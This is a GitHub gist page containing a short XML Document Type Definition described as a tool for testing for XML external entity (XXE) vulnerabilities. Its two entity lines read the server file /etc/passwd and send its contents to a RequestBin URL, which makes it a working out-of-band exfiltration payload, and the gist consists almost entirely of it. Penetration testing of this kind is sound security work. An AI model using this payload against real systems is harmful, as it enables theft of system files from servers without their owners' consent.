Skip to content

Instantly share code, notes, and snippets.

@drewsberry
Created April 11, 2017 17:45
Show Gist options
  • Save drewsberry/563a08960e88e1512f3fe9fa6a8072c1 to your computer and use it in GitHub Desktop.
Save drewsberry/563a08960e88e1512f3fe9fa6a8072c1 to your computer and use it in GitHub Desktop.
XML Document Type Definition for testing for XXE (replace RequestBin URl with your own).
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://requestb.in/1fjht231?%data;'>">